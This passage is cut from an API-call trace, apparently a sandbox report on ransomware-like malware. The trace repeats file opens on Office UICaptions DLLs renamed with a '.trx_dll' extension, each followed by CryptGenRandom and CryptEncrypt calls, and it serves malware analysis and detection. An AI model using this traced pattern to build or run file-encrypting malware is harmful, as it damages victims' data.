dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.519] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed28 | out: pbBuffer=0x251ed28) returned 1 [0107.519] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed20*=0x30) returned 1 [0107.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.519] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed28 | out: pbBuffer=0x251ed28) returned 1 [0107.519] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed20*=0x30) returned 1 [0107.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.519] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed20 | out: pbBuffer=0x251ed20) returned 1 [0107.519] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed18*=0x30) returned 1 [0107.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.520] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed20 | out: pbBuffer=0x251ed20) returned 1 [0107.520] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed18*=0x30) returned 1 [0107.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.520] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed18 | out: pbBuffer=0x251ed18) returned 1 [0107.520] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed10*=0x30) returned 1 [0107.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.520] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed18 | out: pbBuffer=0x251ed18) returned 1 [0107.520] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed10*=0x30) returned 1 [0107.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.520] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed10 | out: pbBuffer=0x251ed10) returned 1 [0107.520] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed08*=0x30) returned 1 [0107.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.520] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed10 | out: pbBuffer=0x251ed10) returned 1 [0107.520] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed08*=0x30) returned 1 [0107.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.521] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed08 | out: pbBuffer=0x251ed08) returned 1 [0107.521] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed00*=0x30) returned 1 [0107.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.521] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed08 | out: pbBuffer=0x251ed08) returned 1 [0107.521] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ed00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ed00*=0x30) returned 1 [0107.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.521] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed00 | out: pbBuffer=0x251ed00) returned 1 [0107.521] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecf8*=0x30) returned 1 [0107.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.521] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ed00 | out: pbBuffer=0x251ed00) returned 1 [0107.521] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecf8*=0x30) returned 1 [0107.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.522] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecf8 | out: pbBuffer=0x251ecf8) returned 1 [0107.522] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecf0*=0x30) returned 1 [0107.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.522] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecf8 | out: pbBuffer=0x251ecf8) returned 1 [0107.522] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecf0*=0x30) returned 1 [0107.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.522] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecf0 | out: pbBuffer=0x251ecf0) returned 1 [0107.522] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ece8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ece8*=0x30) returned 1 [0107.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.522] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecf0 | out: pbBuffer=0x251ecf0) returned 1 [0107.522] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ece8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ece8*=0x30) returned 1 [0107.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.522] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ece8 | out: pbBuffer=0x251ece8) returned 1 [0107.522] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ece0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ece0*=0x30) returned 1 [0107.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ece8 | out: pbBuffer=0x251ece8) returned 1 [0107.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ece0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ece0*=0x30) returned 1 [0107.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ece0 | out: pbBuffer=0x251ece0) returned 1 [0107.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecd8*=0x30) returned 1 [0107.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ece0 | out: pbBuffer=0x251ece0) returned 1 [0107.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecd8*=0x30) returned 1 [0107.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecd8 | out: pbBuffer=0x251ecd8) returned 1 [0107.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecd0*=0x30) returned 1 [0107.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecd8 | out: pbBuffer=0x251ecd8) returned 1 [0107.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecd0*=0x30) returned 1 [0107.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecd0 | out: pbBuffer=0x251ecd0) returned 1 [0107.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecc8*=0x30) returned 1 [0107.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecd0 | out: pbBuffer=0x251ecd0) returned 1 [0107.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecc8*=0x30) returned 1 [0107.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecc8 | out: pbBuffer=0x251ecc8) returned 1 [0107.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecc0*=0x30) returned 1 [0107.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecc8 | out: pbBuffer=0x251ecc8) returned 1 [0107.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecc0*=0x30) returned 1 [0107.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecc0 | out: pbBuffer=0x251ecc0) returned 1 [0107.525] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecb8*=0x30) returned 1 [0107.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecc0 | out: pbBuffer=0x251ecc0) returned 1 [0107.525] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecb8*=0x30) returned 1 [0107.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecb8 | out: pbBuffer=0x251ecb8) returned 1 [0107.525] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecb0*=0x30) returned 1 [0107.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecb8 | out: pbBuffer=0x251ecb8) returned 1 [0107.525] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ecb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ecb0*=0x30) returned 1 [0107.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecb0 | out: pbBuffer=0x251ecb0) returned 1 [0107.526] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eca8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eca8*=0x30) returned 1 [0107.526] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.526] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ecb0 | out: pbBuffer=0x251ecb0) returned 1 [0107.526] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eca8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eca8*=0x30) returned 1 [0107.526] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.526] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eca8 | out: pbBuffer=0x251eca8) returned 1 [0107.526] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eca0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eca0*=0x30) returned 1 [0107.526] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.527] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eca8 | out: pbBuffer=0x251eca8) returned 1 [0107.527] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eca0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eca0*=0x30) returned 1 [0107.527] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.528] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eca0 | out: pbBuffer=0x251eca0) returned 1 [0107.528] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec98*=0x30) returned 1 [0107.528] CreateFileW 